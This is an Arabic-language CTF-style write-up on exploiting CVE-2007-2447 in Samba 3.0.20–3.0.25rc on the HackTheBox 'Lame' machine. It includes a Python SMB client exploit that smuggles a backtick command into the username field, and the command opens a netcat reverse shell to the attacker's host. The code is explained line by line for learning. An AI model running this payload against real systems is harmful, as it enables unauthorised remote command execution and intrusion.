
تطبيق استغلال تعليمي لـ CVE-2007-2447 Samba 3.0.20-3.0.25rc username map script command execution vulnerability مع Python SMB client payload و netcat reverse shell.
الاستغلال الأصلي: https://www.exploit-db.com/exploits/16320
اسم الاستغلال: Samba username map script RCE
CVE: 2007-2447
المختبر: Lame - HackTheBox
هناك ثغرة أمنية في إصدارات Samba الأقل من 3.0.25 تسمح للمهاجم بتنفيذ أوامر النظام عن طريق إرسال طلب مشوه كاسم مستخدم إلى خادم SMB.
هذا مثال على استخدام الأمر nohup لإنشاء مجلد:

برمجيًا، /= تعني عامل القسمة والتعيين ويستخدم عادة في الحلقات. ولكن لماذا نحتاج إلى استخدامه هنا؟
السبب في استخدام ذلك هو لتقسيم حقل المجال وحقل اسم المستخدم أثناء إرسال الطلب، يمكن العثور على شرح أفضل هنا.
نستخدم حقل اسم المستخدم لفتح اتصال netcat والاتصال بخادمنا.
كتابة الاستغلال سهلة جدًا لأن هناك مكتبة عميل SMB متاحة بالفعل لـ Python (قم بتثبيت حزمة python3-samba) لذا كل ما عليك فعله هو استخدامها بهذه الطريقة:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
دعنا نفهم كيف يعمل SMBConnection، لقد قمت بتوفير username ولكن ما هي الثلاث سلاسل الفارغة الأخرى؟
تلك الثلاث وسائط الأخرى هي: password و my_name و remote_name
لأغراض جعل استغلالنا سهل القراءة، يمكننا كتابتها بشكل صريح مع قيمها لكن قيم الوسائط بعد username غير مطلوبة:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
الجزء التالي أسهل للفهم، نستخدم مثيل الفئة SMBConnection لإنشاء اتصال ونقدم IP الهدف والمنفذ ورقم المهلة بالثواني:
conn.connect(rhost, rport, timeout=10)
في هذه الجلسة من تطوير الاستغلال تعلمت عن إنشاء عميل SMB والاتصال بخادم SMB. كما تعلمت عن أوامر Linux مثل nohup التي يمكنك تجربتها لاحقًا. تعلمت عن الاتصال بجهاز المهاجم من جهاز الضحية باستخدام netcat وهو أمر قد يكون مفيدًا في رحلة تطوير الاستغلال الخاصة بك.